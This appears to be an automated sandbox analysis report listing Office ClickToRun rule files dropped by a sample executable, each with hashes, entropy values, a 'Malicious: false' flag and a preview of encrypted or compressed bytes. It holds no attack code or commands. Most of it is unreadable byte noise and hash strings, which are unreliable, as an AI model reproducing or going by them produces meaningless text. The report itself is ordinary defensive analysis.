Preview:	.<?Q?..a.nqP.u.\|.6..........s?.&.....'.uO.].g.m....(....FO.../x.]...a.>]..[........E...j..{w...N9...d^.d...k0L....+7TV.q.D.~....7..-^~C.:.L........#.A.4.8e.WU.)b......Y..v..s...i2. ....D.[..%CC...,...UG......R.H2....3.."B..8..d..#..W4M,).u.+[9.a.m.0f........z"+..2y..%\.....,P;....A.......F4.4d......`!GfQ...p<...d6.;C...G.!.X&G....A..y.+#lln'...V2.2pr.^..g...B.qH +Z.B.J.....^........u...ci..r.....+Co@..m...$R.................y...cHg...R....^..7.j..m:.... .x.Z...pS1..X.I.............e... _.jz.B.e..Y....9xx...V.A.u......oo.^..2.........u..U..d./....~..h........wJ6....~.,y&...7...!%..q..n....L..../&<1f...B'..pz...?.]YF!.Wg...r.q.p.....s..#...Q_..98.._.,./....Z..\1.....A".......w.3.....?L...o...l\|yo.J....fY<V.....O.-..'....[e...1J... :f.",....<\.c.~.)....`(..........G..N.f..~....).....Q.U.\|.....%a.*r.o...{<n.....~#....u....u,...=.....v...R..S...,ut.Q...XB.d...<...Ek.%..v.i.l.(...q@.r...7..%{Q.&......B.n..l ..C..G...!YM...1.5..SY...<#7..4d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.877557345996967
Encrypted:	false
SSDEEP:	48:opGdP58Fw9p6/Xvb5VggbPCONGvpPBYlhpPed+bRqYG4VxD:996bjgcCOUvpPBOX7n
MD5:	1F12EBD6F0749B2382EC97F99DA40CC9
SHA1:	8E2D06C068BDAD0B88F7723614B9327182DDDE84
SHA-256:	35078D50F47D80A6EF61AD90A047CD208FFF481D84D0FC1FC036DB2D406FB989
SHA-512:	13861D0B2E5FFD52A335AE7E238232AFE229F9B0B317E0788C56DA15715A60E85F23974F3CB2079A7613137D93A64AB10C04A2681D91CCCA2B5B760ED6C001E5
Malicious:	false
Preview:	.<?.o..z..g.7ki}..{..`%.9?)........}`.......w...5........nM@y<.X..2C`...}.MS.v.....~.....9r...........I.....;.........V.`...!...g...o.H.J.T..1.......wz...U..\.J..!Qz..ly.Pu......9._..P...6.......Fa.<....WJ.6.K.(.".i..M..{..~`@aI.K...q.4....0}ELx....2..]....Y`....cW.0.....=R..M.\|.Z.^!...2..7q.J.F........(...).[........:B\|.C..p...cYX.?..1.hs.N..(\Hk...li...........9&...:...u.e.3...l./w6a\|o.f..F..I....f...3d....q..E..n.'F.....uF5L.\|.E.I..d.4.S.k.;....=...o..Xu.?&....:..3.-...\|..B.A5.r=lu2+d.Q.@....p..)c.1.?...5..I}...&.dmJ......HB.@.q.N...HL..\|....k.Hg.G.U..y.UgOyb}......E.t......;M]+_.3iy.....&.@V.......U..E.&gr...%.W.!GXP.e1....zr\>grRo..p.h..J4`1.f.o+.B3A....#.c....;s..7.nd..{.l...=^9..Q...>`....Q.......K...:3......1l...PuSH..3'vjR.GySK...'.Y..3...BGT..D......:I.~#.3....E..._........#."0.qaqL.Wf. B....U.......o..i..C...Q.+.V."xf.<..{w.eQ...S..9p+8q...(.t...{k.W...=..'......G.....j..UB..5j.7.W.4...Y}....f.:t.N...g\|Bd....s.~;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.849853325355799
Encrypted:	false
SSDEEP:	48:HE296/iWMM+NNCK6drNNUV/ByXqSWVUxNx+sD:HEV/JGA9UV/8XqSqUHxV
MD5:	2EBBF8DACBF5C3EA2694F8B5A4141FC2
SHA1:	4572A9EB02ED6793B932E640AEA5AD4486E007B1
SHA-256:	99031F4961BE79B2AAA66B67192CDCF34B23A1B1C5062558FEB4FED35DE8F888
SHA-512:	B5D145FCF1E14E76EE7F27A8A9E5060C08BEFB105B213A0B19E061EE04C26B886304307932CC9279B3B2AD16F855B715AB313A446AAD6521AAE851D49B6E7477
Malicious:	false
Preview:	.<?6@.._.o1.U)..{2.`........68.,.4.4{.S.<E...Nh!s....Y1...0Or..=L../3...eo..e.g!....t...#..:..>K(.;.q....0.L.. .\..5.....u#a...A.b....j..eWOb...`.K..N.f......v.[.S.5...&R..96=.#J/..PV$..:k....2.j(.."...n..L....G..?.'.0.,4..N...%....sh.....W.....}z..HZL...=.....{t....Z.v.D..JV.....t:..5.5Z<fU&_.."6J.=f..q...b.l....w..x.RW+.V..j.0.....r.9.,.YTR.<.R..!.[...W..>...+7..3.S\.1&#..}"hE...$..SW.].{.x.b<..u.5\|.[..G.U..P.iv....7.)(.K#.............D@.^B.I.b.fT.._F..9.,.."X.d.&...>.W....q......+....O%j..67..2.f.J..m?N$....i.......\|.t=....3....:.E.:7.^....M.'...{.....O.G16E....J...<..i.....g.X...w.J\5..Y.1.;.....in=F....RZ{.T-r..\......i.K.......;!..D..\|.......=E7,...r...(>..Go....T$.,6.XP.=...v.Y........U.46.,P.V.PJt.W(s..l.tp...w.[O.E.jLe.3.....A..A\|....5..zzJe....8.w..-..p....{r...w..?G.w..7.A2:...-.u.../.N..&..t.....z.$.X...}Qt.r.......!;...7..x.../a.N....$M..4Lhr...^."..%G\....~..=D.6!..P&.i\.PF.X.T2[.@..j9R.#...n4)..^WOK]..Vix(S-y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.881642863908988
Encrypted:	false
SSDEEP:	48:T+deEwQkE6/0B3VAsLVyXzEBAVF5T/f2+4iNjJkC/2SBwD:T+dyQkEFB3VA+VGzqAVFT5MC/Y
MD5:	6616CF5862E17CE817D5FFF5A8A6EDF3
SHA1:	23C1B46194EA9DBB493311DB6F70C863CE83A4A3
SHA-256:	8515C353FF47FB06EF08B67A75BE96366F92FBDD8CEFF1B4BC5EF232E8231F82
SHA-512:	6EF7A1E13462B8D385BA50339DFF655B5212C59711672BE9A9AF85063477DAB0954080C44A4E3906728ED542B0B972D0340502D7016B027C2BD17E530070B422
Malicious:	false
Preview:	.<?...f.SJ..GO.....e...x..Gm,....i..!..<J.C ....J.....:.m...`#.....?u..T(...w.Jx....j....;.....lHy........~Ze1##.HQ...a.x.%.....9...<'v.u..j..P..88.crs..xz..8"v...U..........W..;.a.UX.3\P.+..../...=..L[.W...Z...E... 1....Bc.Bd(Cm.D..M.>0..z..~.<...".!......>.B.l.......{.1!5..X..5c....N7ht..C...@J..C6.L......<..t.N..b/.c.........z &....se....s..$..-4......!..{H...n..o._....Lc....\.......\|..n+M^.I>...dG._.e'W'..........l....B..21..a..=.E....5xvy..:.H!#.0.H.fk..3.k..r...$.q%..A0h.4)..'}N%/^cP.U....i.BH..>......[.=.(....#........wn.n...d\.c.1 .g.~G.J....4....Fm.......0m..B.)...aY......y.uF..x...,G{5FW../f...,m...s........q...x.-...,....Dv..S)......)]N)f...+..f._. ....[..Z...\|..!rc...5.?Y...{Ac NS\|........F..l!.0...".r....v..63...+..6...T.fF.a a.....iLE.6.[....\.V:..g....9.U....h...j...f.&f..}&..D[.k9].&X2...O".....MZ3..{K.u..H^k.J...X...D.g.;.;)@.D...]..mZ.}g ...b...&..\|..r..$..U.KC...B.b..59]..j...c.(.x.JA.W.N...>....$..>Y/.....~x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.867858203550759
Encrypted:	false
SSDEEP:	48:d8ZEro7tvIU1GWi3/9AlL5dCWM2wXYkUu+4wcD:fo7tvXn6/9UCL2wXYkUu+4wY
MD5:	18606F3E532BA28E04DF649BCEE398B8
SHA1:	C592EE173EAB19A90708B6391EBDEBEA980735F2
SHA-256:	ED7712EFA17F0E1A77BCCF252D6AC18202CAC1757AEDDCB904F803608433D3C8
SHA-512:	DDD218B80F9E9AEECB407945010666CFD682460B0D6C47E3DC527244CA5CDE3E85E5B2979DF851FFF009E98C87129232AB675402CA7EA228363DC6701DB65436
Malicious:	false
Preview:	.<?.J.ldTV..T.+......K}QZ...Q.....Y..~..C..N.JQK...6j['O.>..BP..._C...<.y...I..V.A.~..=..\|>.FW..p...u......w.[#.b.`~...bZ...,G6.y].......t{K.1.mu.^..L..}......$.G...\|...\7h..DM......W..u.aY.8.p&'..@e....K.F.r&....m.....D.`w...K....!MRj.4.........&.%..{.......7P.k....~....2g&3.(.v2.=47.....]........Y...1;-..t.E.\./...?h./V...l..JH(<}.+.h..9J.......`sy..o.k.... .....)0...'...\|.....6..h........a%].Z2BE..?..H..G..].:2..J......V.iW..=5...Z:......L..?}.t&...C.d..0C8..S.6$.+........t5E...,..K..uY.bN.H.9<....!...h.4.6........k..WJTUA.Cp....6.\|.m..G.I[:$. (L.OX.].$X.W..R...A...S......iMw...3/.8.R..{A.4L.HT."....p....GY..q..n8...._'.....7.[i..g.....]\..........@...\..c....hB......u+2.i1.Im:......D....y.i..D.....g...=.R^.=6....z.fM..vQ>.5IR:....zy..43.k....o.\|VI..)8<.].I...`...Q....V$..........?A.n.G...B...9...k-<\...a.6z&..9..+.i.Bvz.f.qi$Q.........kVAK.}.....RB5v.....9(@#8.y=a..U....u....0z.c......L...#.uE....9..z.8x.!.d.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.879842155684009
Encrypted:	false
SSDEEP:	48:scqPZ1uG4+Z+MNnqG+rSohUBQsLalC0/w9SD:PqPZwU9o6al//wA
MD5:	E2196BCBC6F8F9DEFD094EF304383B02
SHA1:	5FFDD783C1B8E571C48A8E1CFE2F919C701A7668
SHA-256:	ED6EF4D4282AE35F2E5FEC4E26BE4FF2D669C6EC4400F2E62330B3DFB6B6A4EA
SHA-512:	755694C8DC5043120C928F739A465FC81E942202CEAA72820BDC3B7657886854388C53D42FDAB50F9E4C34815CFA13D0FCA89E9DD6FCC1803135144C0C240A65
Malicious:	false
Preview:	.<?e.....Q.!.\|.e.@z.....P0......x-.4......4......8..%IK....c.L.'.jT..R...-\|.c..U.e.'.h..x/....`.]...j.A....YA.._.y~....W7..N,v.....,..j.._..%+.\|.L.o..0..;.)G...J...C.... .`1...X..,..[.r.1..a}.Q............X...O.4;.,.....".......FM-L...c.6'..WXB.1.\..\...JSV#......t.f........g....?..Q.l1..9.........}-..L..9.{..]s^_4..\&...Zn!2Pt...{.o1U..h.:..b.^Z%Jo./o.....9E.h..AXu.=....C...;Z...I6.....{..k....'...q)..,..D. ./m.W.-j/..)..N.[.%..6.).L.4..;..O8u.K..R.)"..-.+.g.).G..Da5.~U..cU./w.~.\|.R...!.9..%.w...1-P.U..<(.~SB.f....V6F.D...T.G.....[.8.\...Ek.U..b...}......>..`..d..m..W..~.......g.../.F.$.9.1yc{."1.....$}.I[\...n_.....i....w.........Y.D...Z.N...OP.X.0..o\F{./..\.~.Hc......p.......9..S.g....y9T.....H...lc.6../f.E..Le.%..Q.......w...a""(....rVN...,.... ...bWq.VE<KP.O.(-...h.+NC.N..pk..K.\n.L....(.e...y.QU_U....eh.G..Es....\A........<.Mp(P..J...$.5I...........N.RJR.M.l....Z.Z......."'w_TVX3"..x........].6...Ps&y.-b../..a.~....fY.d/...6~..=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.871488465207785
Encrypted:	false
SSDEEP:	48:mDMYoCP32DvuQAHEZ7Aixsg0AefnFpfTD:ioCP3NQzZ77xpEnFpf/
MD5:	069A325229EE018B060AF5C47DCDC197
SHA1:	E5BD425753E0DB427E3196314961718193ACFD7F
SHA-256:	E6F0A706793D4691EB169E4B64EF260F637DC1C740F1113D101E333D5171642C
SHA-512:	56410D51B4F0191BCAF9BF2818CF9BE4C7A319F326284AA455D004C441C7429FF5E3A14D2F7F6AE38189AB25584610DA3F2D0118B3E341084EA0E3DFA3A0BBB5
Malicious:	false
Preview:	.<?i.Y]...7.o.....&..=.VR1B..Q...@.2....J..C.......9~T{-.........<.;j./..PD.u$....I..! L.!......J..4...L9..3T..@....UwE.p.<^.r...n~4.....lV.r..........A.xO.=I..2.".Q.....tU..J8\|..../m......hU..L!\|.U.?S.jO...{W........!.bl.2..#,b'..PG...J.Ya.zW....!0.dx..\|.....^.;.],uo i...].o.S.....kv7hE.x.l.=.....q'.\|.dKd\.....O.....^.YZ....?.~..o.."{BW)5r.......<u....q....t....yQSB.mP....UH....-..L.'..&...&.AE...dr.qt...... ..o.......u.n...hiG....5...8..-.?.....\|a?P.h..b.x.....@.../s.'$...H..=......-.....h..g.A..H.I.....M..........]..a[.xM7.a..^(..U.......D.J.@....c t....=z..k..{.G.Gi.v.J.?.a.w<u..b..?ZN:E.(t<S.G^.....0.v........}..Y.7<-..P.....Z.b...!D+Y....:..>\|BE...}.G.....\|..4....+$U.j./y.&..A0).^.:0.(...$q.....5..Y.E...........d7..d..<...B#..bM...w.]Zr..8..n....(`x.{.}=.s.......-.........w..,..g....9...tJ.A...K...f..x.!.o....{.3i.cNT.\|...5 .qJ...j.a.[...l..=1.:-G./.E..}o.x....6.'o.<S..q.1.d.0....#.)>...8...@.....'d..k~.6....m]{..].HP#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.87368013886674
Encrypted:	false
SSDEEP:	48:w7jJSOxjJSNRT7IuFni6syLWgsT7XazjEAg3EZffvM4D:uxj4Ji6XSpT7XAoEZnvMk
MD5:	9DB1A06796FB5E22851D8386B0B0872F
SHA1:	0540EB6668D25412AB8118CF7F6C116D30C3655D
SHA-256:	E829634FBD11BE053AE3F7755D73F2D972B73278023E2692C4A5BFC13EABBA5F
SHA-512:	C74BE8B136BB1C68CF1FEA41614A1451EAC116661F7343D33AA21C840E24C3E77C3AFCDA926235667A39C4FFDC4B9E633542D375D98D02DC321FDF54C92DA81B
Malicious:	false
Preview:	.<?.?.Q....t6A..B`x...?.@d........q..].....1...P...@.uv....y.......g..O.g.s\|.^.._.....(.0{!.?.^_b.....=..R...B.`.>H.............L5 ~....:....a+h......TYF..pTY....B.M...+L......S..HzpB......h+..H!...n..G..A.).~..hL.FI....fi..o,.d...Ls..N...=."...O?M.Q.%.C..s...tt..Z..g.\|.Gz..=..G.Fe...!.\..;.&OS....{F.4..F....}..\..6.n..w..8.C........m_%.%.UDt.u...dcC.i....U.&7p..E..<.._-..y. ...O...B..}...-....~.g.{+.i......pXdrU0}.S..-.....%e...........@..Jj.V..w-...4._0\.6....]s...E.?T...."....2..O.CH)H....+]....?....GQ...!.......X2...0....4.^......>.E.u .A..`.0i....?..{......5@.......?D..T...=..V..i]....#.kun..?.2.l.....W....G..tbGU..IR....xy..{.Z...nb.}'...0.". .Uo....D../....."..9^.u8....?....~u.~.oh..?ZS.Hg.......Hdj.{l...1.G..t_...}M6...(....X..8?];.p.Q.'..u..0._...d.>(uk(o..`...WN.a.c-#$....PH.).?7...y.S...6....^aj<H..fC..1....AA.E..I..z-..i.......;..k@&?.fB......-.n.M.."..B.@.P.a8Ze.eaz.+.A...w.}."Q........x.Z..l)........(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.887256736014273
Encrypted:	false
SSDEEP:	48:o7ELfEc/g/DTIJo27efSAfQnCcKDQmtmu4mYtyXZKWD:o7G1I7B2yPf4CcKDQmtQmSyX4O
MD5:	DF78E389119F86D2DF974C636650413B
SHA1:	5A01EE6E3E37A5E3A0DE1B7715BD65AF74FAD4AF
SHA-256:	DCCE7A609A21AA84D13D16F1105B62C7EFA58D55581AFD7DAA8FE97B46FA7C9A
SHA-512:	37D7A142354A0EFEF77B48EE024267906DD4884BF11F156096CA3DCCB3BCE84F744C074878333FCCA7342C59ACC5EFCDFE67FAEAE556E83B3BF2AF2E6FB54CA1
Malicious:	false
Preview:	.<?i..hs....ED.7....5,,..3D.X.....Z.\|.oV..am.T.....C...o...._.....T..VM.iC..X...}..%".W.J.......l......;.].=..Qg.^t.&...uP..F..r.(>rK;.......t...u....E......^t...c.u:.D..G.3C............p4..O..1?.r.."..".....x.....\u..;.W.....y..\.h7./....@.._.........Z.JA.R...{......v..(.......{.:.{..\u..[.}....:..M.9I%{...r.d.=.bB...FZ...HK..}at./iA.vNM.2..]..m.m.T\......KA.....G.7D....Fp.^<....F.u......Z.......B.PM..I.:Y.._..J.b..R.VpE......2"'..Q...a..m...ko..l.^....-.Z.#FD1.`..F...f..\....R..7d..._d.1....aFHj.R.....gG.....d....MO..Y6....F..........U..o....v...C...`....L3A....z.~..ei....r..p....>q''..k\|..2o.:.gv.J.o\8 .1..5}7.r...a...!.e....'.........j.-....F..j.q.4.P...Cs...._P.n.!...IY...MZ..h3C....!;.5%.d......[I^.....;(x...K...C..5..L].xv....s!g....M.."&Y..Ow.m.-0.P...F.eJ8*\|d.7.......-.....0.G.l....Y.W,?...jI.M.hH8.3d....`p.c.?.sr...v....-.........y...+..sP.J..+.Z..%.}>.~...e....w.z.....u..B.....O..5.-....\|..._.)m."n9..X..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.890407120502059
Encrypted:	false
SSDEEP:	48:oa4loD3pmI6adyZqeJTlj2hnOxvfKksgEEwuL443CD:oa4C0+o/2Qx/s+wuLRK
MD5:	4C49E79101F93598EBB794166B33805C
SHA1:	D69A5F93682F503AE6978C983F7EDDA96F38F0B6
SHA-256:	6018AD52EF2FBDC3DB87929C80870E4AB8AF8DE8DB3800B1FA03E2C603DD4131
SHA-512:	1632A2AA4C345E274A7E87D98C6D11B57E240D6F53D385CE5B7131E1000770CFFF8D655EB7F68DB34EB0B95B80D7CFB18FB5145D915EF65C2F5ED621B26BED12
Malicious:	false
Preview:	.<?.M.......\.....a...e..t..I.=c.L..Zf.>.lO...C.p.\..z..Sg..?.....).....m<.Z..fi........R.w[r......'... J.vO^.[.o.j.(.T..pq].o....."8..oP..~.8.......J&@....=...crg.!..Qk..C8.Jn.[.].C...mtTU....0.o5[...7...=..++.0..O.!.....L.E........Q..Q...#l.....q...X\r..G.\..\|.....`..J=.....&k.?N.........E..W........}.8.X..r.@....U.b..vx..b...R... ..[..N.A8...iA....3".4B<.h..I..85..."..OH.b......#.ac....)'.m7C.I.^.J+.k.4..[.9.U.jZ..c..?.7.f..<0.jL~.M2Q..7...`G.....b.w..bVa....I.......n.h....(...b...%.yk..z.N..T.W...p...{..i.(.4.#6.-...T..C...<Z.#...C?"....)...5u.o...ir..f.(.}..a.0.D..8...gS<..KT...(.{.i.....%.;...:.oPW........u.!Q.t.d..#..>.....[V....5.E.6.......]...q./.X.0.G&..F.X....a".....(..B.(.b...5.K..j.y..x..#.+....}Hc3`...O.O..X....+..U...G'...pE.n.......N\|...zO....-...\............5.@.....Zf..%`.6..y..n.j4.mf...DW\.s._y..Ii!.%S..v..j..6..X......N....\w\....t.A............;...)....u^[.\.,.i./.$....o.~..c..)..[....jX.a\|Ew.pW..]..`.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.875851011878229
Encrypted:	false
SSDEEP:	24:pLyHmPNSH2cnatug5cVJWjtxOqP9wMZJik1gIWtEDwyRR7fEUD9hdsMeqQRE0+eS:pLyHmPIjgdxwMZO8wETEshZERB+fD
MD5:	C87F670DC0C9F85F80C84330008B4308
SHA1:	D4F5D94D3DD4B62CBC967E64ACDB40D71B195176
SHA-256:	138A61FF07759455441E8D143C9DAE438690BB007C9EB1133096063340C2F5C0
SHA-512:	F9384FF24BB7FD8E6379322D1E01C0167728DCD6D2B0725E3B514AC0519F29C79D9E0EB7816B20A1F0CA159F86C2470C55C1B386DAE77A4052D4B59263E1DFBF
Malicious:	false
Preview:	.<?....@)j.I.....@...\|<..x........>......i[.t..Fe..._..$S...B..&%...0Hk}..~..o5...C.x.....{J.....\.,Ih(..A...5.!....v.....,us...mS.5...mA....Xf..3...../....CL]..!Fp7d...,......._..<....wf.....\.......3.%.+......z...e}..'.....\R0..!$.2?..-h..........`m..........$8+ a../...}..-...a....8..e....i).sR...7FZr.wt3....,0@.bO3..Fx.\|&YR-....n.G..mA..ze..R{.. J$....??.M.....s.ph%.zV`,.Z.....3...x..."....]7.k....=l`........SK.C>..3..'..7.C.x...!..-e.\|k5_y.E.Z}..-r.f......N.ZU.$'..E..P#H..}..g.G........dD..jV.C.10.c...9s+.JZ).(.... .3..b...s.@..C..R^C....t..1s2...3.%...x..F.^...B....\|A......$..........K.D.UI...<.k....._..^`........t.........1T.m...=..+...A..Ka.a.J...l...7..9..B3".D....J.;<a0G.F.>..Q...\| ..?..0r.....=..2.......p.3...%rUkH...K...m0.........&.......7-.X.-...f..:Z._....../Q.6...H..V.h..b[....hWE]%.h0.TrS.,...r.../....D,..{{.X..ee.U"..]5Y.#E..Q.s.gDI.......n>... .R.....F......`..SK..#u.E.....@9QHuy.h~.>l..[!...k.u.....zf.Id./.k..R.z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.89671751530909
Encrypted:	false
SSDEEP:	48:QbTysl57zHtfIEDBE5Hxg1QHlmfJgAVdUaC/86/v2TqpD:QbF/nFIsBc5lcgAVdUab4v2Tk
MD5:	194F0C21A3AC37892B0330CB5A89BA09
SHA1:	ED6BD13090C0E27E0C0E4C047D8046C9BD66FD8A
SHA-256:	2909639196355D59BE5BF57475F344C09A9DF70F2E72B4A1BD46359A5C98F9C0
SHA-512:	E3C18310F91E234E4CC22480C7275BF0950E115032E807E4C49200EC59CCD42FD4295A62FC9CFAFCFF6A630897A1E202EDF7BA4F71D8E85CF720C2619E93CB24
Malicious:	false
Preview:	.<?Lp.\|...:..Z.....D,.q..>u...............x.......(.(G...j]........1_.a..^.h.x#....[.V...$.)..\|..... Q.&...vx...u.J..Y)..P.;..s..W.......e.....#.=S..Ja..7.5..?_...F\|......q9..E.......S..1..=..J.E.C"..T..W..#(v..D.^..>.r.........s"+.s.0..t0;s.I.L.h...r..y.}M(.0.g........n..../[..4.Z?..W....4..W.~B.......vz7...\...+..=..U!q..m..\|...-..{R....q... W5u.}..Ln.B.....5K..tX.S.T.!.-8...4.IT......@.``.....E....1;.....8.S...%.B.f9T}.l..4ni8.%.h.b.....U.TW.W..x....E.%....}<II..b?-*.@.."..$..@..l..W..]$...J...=..s.$.....V,..y3'x,./..rs......._+H'.l..}..)..;.r.:..>\|..+..M..N...I..Zo..z......V......a.^......3k...1X...q...K..;....@..q.e..O..Y4..2.;m........\|X......<.wY...=./..9..g\.{ t.u1..4..QB..r;.(@..kb.{h....X.3....w..Y..!...lA...U.u.eu....7.iY%.`....,_e&.McT?tv..+!...........@..LBYK...#.[.?......=/.j7P.+C..S.BS..= 7K...L."......{x.sy..2FTKTe..oo.....@3ec.......d9[.7......a..9.p.)..by<=5.S..!...2W..nj>a......I........yY...g!h&.{[...........zm.j.'...sf'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.875969164857205
Encrypted:	false
SSDEEP:	48:XNr/Pw7d7oG0XtpOf06DBeF49RaLPhVrhTPQmxD:1/YJcldpcB90hVrdPQm5
MD5:	95A71F84A5B701F6E1BD99D5F8311100
SHA1:	81916F7475D9F39AA7999A14333D21B92FED3243
SHA-256:	9326B21E18AC5150C49AB16972713BDE04096AE9C9D8E918990938DAE46BBABD
SHA-512:	447243684E8906112BDB8A6D5308E8625F81C36BCF42036180A7F4E2D298FD35C8EDC2A1CA408475F65D996DFEB35E9EC414D00384E94B76F3532C64638E8594
Malicious:	false
Preview:	.<?]...t......8q..v...f.wT.Z...k'.IT...o../9.3]...e.5.!-..\|..Ix..{2j...D...m....}7..W.9...5v.-.h...C.C...jt....1D.9G.su]..zKx......3.]...Qh.(.B...c...U..s..j.o.?._.P..z.AZ.....6...a].@z..*.f.....z!.+..XQimPe..@.0Y...=.D...\5b\|k..j...Y...50q~..Fx......\dB.%..CS.&.%....=.#...\|P..L.1......s..r.....[......y+.^T.......(.....B.]46f.!_..U%....={S..7..2...v.D0....YI..'...........c.K..W.>..Ki=..`1.?cD..tID_......?.2..#.......`j....wT....1.Q.Q....i....uUJ..M.n8aS....2.(...`...Y..-...#....._...5.._.....d;[G.V\|....f......g..)..I....]..@#..ug...$(LvE<..L<.........A.......X..^..Y6..3. ...iR..._&(9x....G.....J.......O..4.0...8.R......./....@R..z?y..x.M....G..r.B.[.8..8..e..P...Q....!..7+.uH.!....O..t.c...8.h....w......b.J.....B{./f.. ..\...F.Xt.v../.t.;.w...!......z.:..g....Pb.s5.6.9..N...Ai.GrTW.....w,..K'PN...y....m....^//.TY...V.T.V.+....1q1l....>..6Yk..gl..xD...`.......6.Z.P-..X:2.....2..u..d...i.._p....`..&..z.T..qz2I....\).G...$+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.882041285364663
Encrypted:	false
SSDEEP:	24:ZAbbQ4eiNQRlKmQkxvQPPnuqKRa1hBKA367B9a7YMtIxOwUzd4OZmFr4BgyVSWbD:Z0bQY8lKhWQP/u5axKI6dEr8TPCyshD
MD5:	98F303318973A6EE396FA200B5A8A2C1
SHA1:	9588B7147D8935A01FDA2227DD9397CB30C901E2
SHA-256:	E1E0C597F1CBB9924B80659DD613DFB605E61D69603BB22B4FAF9AAA53FC1D42
SHA-512:	994D8708E5ED94E34ECC4A9DA29EE68E3FF3082402C2810CAD07060D9C1A5A76D4DE4CE4E7D65AC4996DB6DF669EF4E9650C53EC034F8396E3F83432D5505086
Malicious:	false
Preview:	.<?...}.1...E..@..k..-........;....a.qf... 1n2...g.?..Dt.-..?F..E..~.z....K%.a.L......6.O.....P.o.X..9h..M...X.g2.._.d..<$......o.quA...Y.}$.R..x..&j.X6Z........\U..&.....Q..Zm........\/\|?.MB..q.C`.iU?...[....Px.<..X.q_.?-5.....@uT@..&M.M.}hqF,.,l(0....\|..On....A..L.T..5..W..y.l./.d..s.C.....8VK.e.?24C.<..Wk..Tqx..\|.n....;~.O..._.......a......e..'`<.............n.3.._..\|...V$.7.7.....6.h...OsS...{....WA.;..r.?...a=Gj.u....0.........e#.~.+4.=.w..../...G L.....B?....c+Q..x......{...{X..JE..........E...)...SU.....U.$s.[...O....iB...k.`..7..r....i..`4l.:.1\C.......d...l....f.!.b.a\|+l.............E...b.5..L.\|.....3=.WY..zW@.X&(....bV.2?.F..?.w.i.....V.#..:..T..#.....d+S#...m. .K..d.uB.;..uC{.U.r....@..........?J.c.P.pF.......`(...+W..t(..S....2....r\|.>].R..i.d.Q..1.........`.....G..R4.V..R`m.X.e.C...'W.y.........q.?^@K..z..bU/@..B..}.4.;%\]...8J.%.H..{.L.(.b[eGj6[Q.3.K...5.\|..\|.H.........2cRE..P[.....T.c.E... ..]...D<6.a..J0..E.Z...../.J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.887115359352972
Encrypted:	false
SSDEEP:	48:OWPKbTg27aeQ4wsPA7gmFhFIdKX6KdFMC4eE9D:OWybTgoPK7vFM3F
MD5:	D1D1FC1ABCFEAFF71BBB7A53E3AC767E
SHA1:	7F830994B38EB5C2F48AD080FDFA0309979AD8D5
SHA-256:	D63C1E09071A9A0AE99868BC3B94EF4BC429E1D430585DB01AC96A1A91B8FFC9
SHA-512:	CF3D2F527EF7517B06490564FEF9A1C52EC1AE80798A62083CE1B3E786883F0114BB2A547F8AEF271DA48CC5CAC00D0666B50EDB3CB06D33841A77A887A54E8C
Malicious:	false
